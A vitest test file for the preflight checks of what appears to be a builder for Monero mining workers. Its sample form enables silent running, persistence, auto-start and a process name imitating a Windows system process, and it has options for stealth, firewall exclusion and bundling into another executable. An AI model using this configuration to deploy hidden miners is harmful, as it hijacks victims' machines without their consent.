import { describe, expect, it } from 'vitest';
import { runForgePreflight, preflightHasErrors } from './forgeValidation';
import type { BuildRequest } from '../types';

const baseForm = (): BuildRequest => ({
  worker_name: 'test-worker',
  server_url: 'http://192.168.1.50:8989',
  wallet: '4' + 'A'.repeat(94),
  threads: 4,
  thread_mode: 'percent',
  thread_percent: 75,
  cpu_priority: 'below_normal',
  mining_mode: 'always',
  display_mode: 'background',
  silent_mode: true,
  run_as: 'user',
  auto_start: true,
  persistence: true,
  process_name: 'RuntimeBrokerHelper',
  max_cpu_usage_pct: 80,
  max_memory_percent: 70,
  min_free_ram_mb: 1024,
  idle_threshold_pct: 20,
  idle_duration_minutes: 5,
  schedule_start: '21:00',
  schedule_end: '06:00',
  install_base: 'localappdata',
  install_custom_base: '',
  install_relative_path: 'CryptoMiner/{worker}-{build_short}',
  adapt_to_hardware: true,
  self_healing: true,
  file_logging: true,
  stealth_mode: false,
  firewall_exclusion: false,
  pool_host: 'pool.supportxmr.com',
  pool_port: 3333,
  pool_tls: true,
  pool_pass: 'x',
  fusion_enabled: false,
  fusion_run_order: 'parallel',
  fusion_output_name: 'prep.exe',
  ai_enabled: false,
  ai_ollama_endpoint: 'http://localhost:11434',
  ai_model: 'llama3.2',
});

describe('runForgePreflight', () => {
  it('blocks empty wallet (F-01)', () => {
    const form = { ...baseForm(), wallet: '' };
    const checks = runForgePreflight(form, false);
    expect(preflightHasErrors(checks)).toBe(true);
    expect(checks.some((c) => c.id === 'wallet' && c.level === 'error')).toBe(true);
  });

  it('blocks localhost server URL (F-02)', () => {
    const form = { ...baseForm(), server_url: 'http://localhost:8989' };
    const checks = runForgePreflight(form, false);
    expect(preflightHasErrors(checks)).toBe(true);
    expect(checks.some((c) => c.id === 'server' && c.level === 'error')).toBe(true);
  });

  it('errors when AI enabled without endpoint (AI-06)', () => {
    const form = { ...baseForm(), ai_enabled: true, ai_ollama_endpoint: '' };
    const checks = runForgePreflight(form, false);
    expect(checks.some((c) => c.id === 'ai' && c.level === 'error')).toBe(true);
  });

  it('passes valid LAN forge form', () => {
    const checks = runForgePreflight(baseForm(), false);
    expect(preflightHasErrors(checks)).toBe(false);
  });
});
